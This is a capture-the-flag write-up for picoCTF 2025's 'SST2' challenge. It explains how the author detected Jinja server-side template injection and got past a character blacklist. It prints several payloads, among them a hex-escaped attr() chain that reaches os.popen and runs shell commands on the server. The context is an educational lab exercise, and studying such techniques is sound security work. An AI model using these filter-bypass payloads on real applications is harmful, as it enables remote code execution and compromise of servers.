> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/ctf-writeups/picoctf-2025/web-exploitation/sst2-medium.md).

# SST2 (Medium)

<figure><img src="/files/kWT6voqQGpkMi3Ska9w0" alt=""><figcaption></figcaption></figure>

It's the same website as the last SSTI challenge, except now there's input sanitization? We'll see about that.

***

The first thing to do is to check the template engine of course. I inputted:

```
{{7*7}}
```

And surprisingly, it responded back with 49. I thought this challenge would be different but I guess not. I then tried something new I read from Claude. I inputted the code:

```
{{7*'7'}}
```

If it returned 777777, it's Jinja. If it returns 49, it's Twig. And it returned 7777777! So we know it's the same as last challenge, except if we do the same commands, we get greeted with this.&#x20;

<figure><img src="/files/hajYkgjPM4XwGJhen8e8" alt=""><figcaption></figcaption></figure>

It doesn't work because like in the challenge description: "so now I remove any kind of characters that could be a problem :)" This means the person is blacklisting the characters, and we need to find out a way to somehow circumvent that issue.&#x20;

So I tried for 15 minutes trying to brute force a lot of substitutions, which none ended up working at all.&#x20;

```
# Even this payload didn't work
{{ request['\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('\x69\x64')['\x72\x65\x61\x64']() }}
```

{% embed url="<https://www.thehacker.recipes/web/inputs/ssti>" %}

Instead, I tried to look for more specific sources about blacklisting.&#x20;

{% embed url="<https://onsecurity.io/article/server-side-template-injection-with-jinja2/>" %}

I then used this code:

```
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}
```

It's just a little long, but then it worked! I replaced the "id" field with flag and it returned the flag finally.

I think this challenge was definitely an interesting one, as I did learn a lot about STTI and it's filters. However, this challenge did feel a lot more, OSINT-ty then expected...
